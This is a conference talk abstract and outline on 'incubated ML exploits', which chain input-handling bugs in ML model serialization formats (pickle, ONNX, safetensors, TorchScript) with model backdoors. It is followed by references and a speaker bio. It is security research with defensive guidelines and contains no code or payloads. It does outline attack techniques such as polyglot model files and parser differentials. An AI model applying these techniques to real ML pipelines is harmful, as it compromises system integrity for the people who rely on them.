2024-08-07 –, Siena
Machine learning (ML) pipelines are vulnerable to model backdoors that compromise the integrity of the underlying system. Although many backdoor attacks limit the attack surface to the model, ML models are not standalone objects. Instead, they are artifacts built using a wide range of tools and embedded into pipelines with many interacting components.
In this talk, we introduce incubated ML exploits in which attackers inject model backdoors into ML pipelines using input-handling bugs in ML tools. Using a language-theoretic security (LangSec) framework, we systematically exploited ML model serialization bugs in popular tools to construct backdoors. In the process, we developed malicious artifacts such as polyglot and ambiguous files using ML model files. We also contributed to Fickling, a pickle security tool tailored for ML use cases. Finally, we formulated a set of guidelines for security researchers and ML practitioners. By chaining system security issues and model vulnerabilities, incubated ML exploits emerge as a new class of exploits that highlight the importance of a holistic approach to ML security.
More Information:
Attendees will leave this presentation with fresh insights on how to attack and secure ML systems, including a toolkit of useful techniques for attacks and a set of guidelines for designing more robust ML systems. This presentation introduces a new framework for thinking about exploiting and securing ML systems that bridges the gap between model security and systems security. It sheds light on long-standing challenges in the ML security landscape through case studies of exploits, and shows how ML vulnerabilities can be turned into practical attacks instead of remaining in-the-lab-only PoCs by highlighting an underexplored attack vector.
I bring several years of ML security experience in both industry and academia. I have co-authored academic research papers, audited production ML systems and tools, and developed ML security tools. This experience motivated me to craft a presentation that resonates with a wide audience composed of researchers, attackers, defenders, and builders alike, offering valuable takeaways for anyone involved in or wanting to become involved in ML and ML security.
Outline:
Introduction
–Who am I and why am I talking about this?
–Brief overview of the talk
––I will introduce a new framework for thinking about ML security that systematizes an underexplored attack vector.
––Three major takeaways from this talk
–––Even though there’s a lot of words for AI doomerism, the real monsters we should be talking more about are ML serialization vulnerabilities and far more familiar concerns.
–––We can’t continue to evaluate the security of ML systems as though models are standalone objects.
–––We can use a language-theoretic security (LangSec) approach to help categorize and reduce vulnerabilities stemming from the interaction between models and the surrounding system.
Motivation: Why should we care about these exploits?
–The ML/AI tool landscape is large. The stack is quite broad and diverse.
–War story that motivates how consequential a ML backdoor can be in a production system
ML security fundamentals
–What is a model vulnerability and a model backdoor?
––A model backdoor attack allows a malicious actor to force a model to produce specific outputs given inputs in the presence of an attacker-chosen trigger.
–What is a hybrid ML exploit? What is an incubated ML exploit? Why does it matter?
––Not only is the ML stack complex and not subject to sufficient security review, but the increasing inclusion of ML models (and ML infrastructural components) in systems introduce novel attack surfaces.
––A hybrid ML exploit chains system security issues with model vulnerabilities such as model inversion or backdoors.
––An incubated ML exploit chains an input-handling bug with a model backdoor.
––Many ML attacks limit their attack surface to the model, but that limits the potential for exploitation as well as defense.
–Describe LangSec at a high level and how it ties into file format security and therefore ML model serialization.
––An ML model is stored as a file. To process these models, you need parsers. Parsing these files into objects is serialization.
––Input-handling bugs (also called parser problems) are central to LangSec.
––Two interesting artifacts of some input-handling bugs are polyglot files and ambiguous files.
––Our work is centered around a LangSec taxonomy of input-handling bugs.
Introducing our novel exploit class: Incubated ML exploits
–Detailed threat scenario with different characters to elucidate the threat presented by the different exploits
–Go through each LangSec input-handling bug category and present an incubated ML exploit
––List of categories: non-minimalist input-handling code; input language too complex; differing interpretations of input language; shotgun parsing; permissive processing of invalid input; incomplete protocol specification
–Non-minimalist input-handling code
––Fickling is a tool designed to exploit pickle files specifically for ML systems. Fickling can be used to construct incubated ML exploits based upon the insecurity of pickle files stemming from non-minimalist input-handling code.
–Input language too complex
––As indicated by the LobotoMI PoC, ONNX files can be exploited for backdoor injection as a result of a too complex input language.
–Differing interpretations of input language
––ML pipelines can have parser differentials and model differentials, which enable different kinds of attacks depending on the supply chain component and lifecycle stage.
––The TorchScript dynamic control flow differential, described in the Trail of Bits audit of Yolov7, can be used to inject backdoors, a practical example of an incubated ML exploit that rests upon differing interpretations of an input language.
––A parser differential in the safetensors library, disclosed in the Trail of Bits audit of safetensors (TOB-SFTN-7), can be used to inject backdoors, another practical example.
–Shotgun parsing
––Refers to improperly mixing parsing and validation code
––What are other research papers that tackle this category in the context of model backdoors?
––Making polyglots with safetensors files, a consequence of shotgun parsing as described in the Trail of Bits audit of safetensors, can be used to inject backdoors.
–Permissive processing of invalid input
––Automatic restricted unpickler exploitation, as utilized in Pain Pickle and enabled by this bug category, can be used for incubated ML exploits.
–Incomplete Protocol Specification
––What are other research papers that tackle this category in the context of model backdoors?
––Fickling’s polyglot feature makes it possible to inject (or even detect) backdoors that exploit this bug category by leveraging PyTorch file polyglots.
Conclusion
–What are the implications of this work?
––Summarize the previous exploits and their impact on the aforementioned threat scenario.
––Key Takeaway: We can concurrently think about how software security vulnerabilities in ML tools interact with model vulnerabilities using a LangSec approach.
–What should you do after this talk?
––Summarize guidelines for vulnerability research, exploit development, and secure development.
–How can we apply what we’ve learned?
––Describe avenues for future work in offense and defense with respect to hybrid ML exploits and incubated ML exploits.
Selected References:
https://langsec.org/papers/langsec-cwes-secdev2016.pdf
https://arxiv.org/abs/2210.00108
https://github.com/alkaet/LobotoMl
https://github.com/trailofbits/fickling
https://blog.trailofbits.com/2024/03/04/relishing-new-fickling-features-for-securing-ml-systems/
https://blog.trailofbits.com/2023/11/15/assessing-the-security-posture-of-a-widely-used-vision-model-yolov7/
https://moyix.net/badnets.pdf
https://github.com/trailofbits/publications/blob/master/reviews/2023-03-eleutherai-huggingface-safetensors-securityreview.pdf
https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/
https://arxiv.org/abs/2204.06974
https://arxiv.org/abs/2101.06896
Suha Sabi Hussain is a security engineer on the machine learning assurance team at Trail of Bits. She has worked on projects such as the Hugging Face Safetensors security audit and Fickling. She received her BS in Computer Science from Georgia Tech where she also conducted research at the Institute for Information Security and Privacy. She previously worked at the NYU Center for Cybersecurity and Vengo Labs. She’s also a member of the Hack Manhattan makerspace, a practitioner of Brazilian Jiu-Jitsu, and an appreciator of NYC restaurants.